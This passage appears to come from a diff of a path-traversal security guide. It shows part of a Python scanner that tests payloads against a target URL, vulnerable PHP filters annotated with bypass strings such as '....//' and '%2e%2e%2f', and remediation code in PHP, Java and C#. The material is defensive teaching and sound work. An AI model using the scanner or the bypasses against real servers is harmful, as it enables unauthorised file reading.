+
return False
|
|
1043
|
+
|
|
1044
|
+
def _extract_evidence(self, response):
|
|
1045
|
+
lines = response.text.split('\n')[:3]
|
|
1046
|
+
return '\n'.join(lines)
|
|
1047
|
+
|
|
1048
|
+
# Usage example
|
|
1049
|
+
if __name__ == '__main__':
|
|
1050
|
+
scanner = FileTraversalScanner('https://example.com/[redacted]')
|
|
1051
|
+
print('[*] Testing P0 payloads...')
|
|
1052
|
+
results = scanner.test_p0_payloads()
|
|
1053
|
+
for r in results:
|
|
1054
|
+
print(f'[+] Vulnerable: {r["url"]}')
|
|
1055
|
+
print(f' Evidence:\n{r["evidence"]}\n')
|
|
1056
|
+
```
|
|
1057
|
+
|
|
1058
|
+
### 12.7 Remediation
|
|
1059
|
+
|
|
1060
|
+
#### Incorrect Examples (Still Vulnerable)
|
|
1061
|
+
|
|
1062
|
+
```php
|
|
1063
|
+
// Incorrect: Partial filtering, bypassable
|
|
1064
|
+
$file = str_replace('../', '', $_GET['file']);
|
|
1065
|
+
// Bypass: ....// or ..\ or %2e%2e%2f
|
|
1066
|
+
|
|
1067
|
+
// Incorrect: Only checks beginning
|
|
1068
|
+
if (strpos($file, '../') === 0) { die(); }
|
|
1069
|
+
// Bypass: ./../ or %2e%2e/
|
|
1070
|
+
|
|
1071
|
+
// Incorrect: Incomplete regex
|
|
1072
|
+
if (preg_match('/\.\.\//', $file)) { die(); }
|
|
1073
|
+
// Bypass: ..\ or %2e%2e%2f
|
|
1074
|
+
```
|
|
1075
|
+
|
|
1076
|
+
#### Correct Remediation
|
|
1077
|
+
|
|
1078
|
+
```php
|
|
1079
|
+
// Correct: Path normalization + allowlist validation
|
|
1080
|
+
<?php
|
|
1081
|
+
function safe_download($user_input, $base_dir = '/var/www/uploads/') {
|
|
1082
|
+
// 1. Path normalization (resolve all ../ and symlinks)
|
|
1083
|
+
$full_path = realpath($base_dir . $user_input);
|
|
1084
|
+
|
|
1085
|
+
// 2. Verify path is within allowed directory
|
|
1086
|
+
if ($full_path === false || strpos($full_path, $base_dir) !== 0) {
|
|
1087
|
+
http_response_code(403);
|
|
1088
|
+
die('Access denied');
|
|
1089
|
+
}
|
|
1090
|
+
|
|
1091
|
+
// 3. Verify file exists
|
|
1092
|
+
if (!file_exists($full_path)) {
|
|
1093
|
+
http_response_code(404);
|
|
1094
|
+
die('File not found');
|
|
1095
|
+
}
|
|
1096
|
+
|
|
1097
|
+
// 4. Validate file type (optional allowlist)
|
|
1098
|
+
$allowed_exts = ['jpg', 'png', 'pdf', 'doc', 'docx'];
|
|
1099
|
+
$ext = strtolower(pathinfo($full_path, PATHINFO_EXTENSION));
|
|
1100
|
+
if (!in_array($ext, $allowed_exts)) {
|
|
1101
|
+
http_response_code(403);
|
|
1102
|
+
die('File type not allowed');
|
|
1103
|
+
}
|
|
1104
|
+
|
|
1105
|
+
// 5. Safe download
|
|
1106
|
+
header('Content-Type: application/octet-stream');
|
|
1107
|
+
header('Content-Disposition: attachment; filename=' . basename($full_path));
|
|
1108
|
+
readfile($full_path);
|
|
1109
|
+
}
|
|
1110
|
+
|
|
1111
|
+
// Usage
|
|
1112
|
+
safe_download($_GET['file']);
|
|
1113
|
+
?>
|
|
1114
|
+
```
|
|
1115
|
+
|
|
1116
|
+
```java
|
|
1117
|
+
// Java version remediation
|
|
1118
|
+
import java.io.File;
|
|
1119
|
+
import java.nio.file.Path;
|
|
1120
|
+
import java.nio.file.Paths;
|
|
1121
|
+
|
|
1122
|
+
public class SecureDownload {
|
|
1123
|
+
private static final String BASE_DIR = "/var/www/uploads/";
|
|
1124
|
+
|
|
1125
|
+
public static void safeDownload(String userInput) throws Exception {
|
|
1126
|
+
// 1. Normalize path
|
|
1127
|
+
Path basePath = Paths.get(BASE_DIR).toAbsolutePath().normalize();
|
|
1128
|
+
Path fullPath = basePath.resolve(userInput).toAbsolutePath().normalize();
|
|
1129
|
+
|
|
1130
|
+
// 2. Verify within base directory
|
|
1131
|
+
if (!fullPath.startsWith(basePath)) {
|
|
1132
|
+
throw new SecurityException("Path traversal detected");
|
|
1133
|
+
}
|
|
1134
|
+
|
|
1135
|
+
// 3. Verify file exists and is readable
|
|
1136
|
+
File file = fullPath.toFile();
|
|
1137
|
+
if (!file.exists() || !file.isFile() || !file.canRead()) {
|
|
1138
|
+
throw new FileNotFoundException("File not accessible");
|
|
1139
|
+
}
|
|
1140
|
+
|
|
1141
|
+
// 4. Download file
|
|
1142
|
+
// ... download logic
|
|
1143
|
+
}
|
|
1144
|
+
}
|
|
1145
|
+
```
|
|
1146
|
+
|
|
1147
|
+
```csharp
|
|
1148
|
+
// ASP.NET version remediation
|
|
1149
|
+
using System;
|
|
1150
|
+
using System.IO;
|
|
1151
|
+
using System.Linq;
|
|
1152
|
+
|
|
1153
|
+
public class SecureDownloadHandler : IHttpHandler {
|
|
1154
|
+
private const string BaseDir = @"C:\inetpub\wwwroot\uploads\";
|
|
1155
|
+
|
|
1156
|
+
public void ProcessRequest(HttpContext context) {
|
|
1157
|
+
string userInput = context.Request["file"];
|
|
1158
|
+
|
|
1159
|
+
// 1. Path normalization
|
|
1160
|
+
string basePath = Path.GetFullPath(BaseDir);
|
|
1161
|
+
string fullPath = Path.GetFullPath(Path.Combine(BaseDir, userInput));
|
|
1162
|
+
|
|
1163
|
+
// 2. Verify within base directory
|
|
1164
|
+
if (!fullPath.StartsWith(basePath, StringComparison.OrdinalIgnoreCase)) {
|
|
1165
|
+
throw new SecurityException("Path traversal detected");
|
|
1166
|
+
}
|
|
1167
|
+
|
|
1168
|
+
// 3. Verify file exists
|
|
1169
|
+
if (!File.Exists(fullPath)) {
|
|
1170
|
+
context.Response.StatusCode = 404;
|
|
1171
|
+
return;
|
|
1172
|
+
}
|
|
1173
|
+
|
|
1174
|
+
// 4. Allowlist file types
|
|
1175
|
+
string ext = Path.GetExtension(fullPath).ToLower();
|
|
1176
|
+
string[] allowedExts = { ".jpg", ".png", ".pdf" };
|
|
1177
|
+
if (!allowedExts.Contains(ext)) {
|
|
1178
|
+
context.Response.StatusCode = 403;
|
|
1179
|
+
return;
|
|
1180
|
+
}
|
|
1181
|
+
|
|
1182
|
+
// 5. Safe download
|
|
1183
|
+
context.Response.ContentType = "application/octet-stream";
|
|
1184
|
+
context.Response.TransmitFile(fullPath);
|
|
1185
|
+
}
|
|
1186
|
+
}
|
|
1187
|
+
```
|
|
1188
|
+
|
|
1189
|
+
---
|
|
1190
|
+
|
|
1191
|
+
*This document was generated from analysis of real cases in the WooYun vulnerability database, intended for security research and defensive reference only.*
|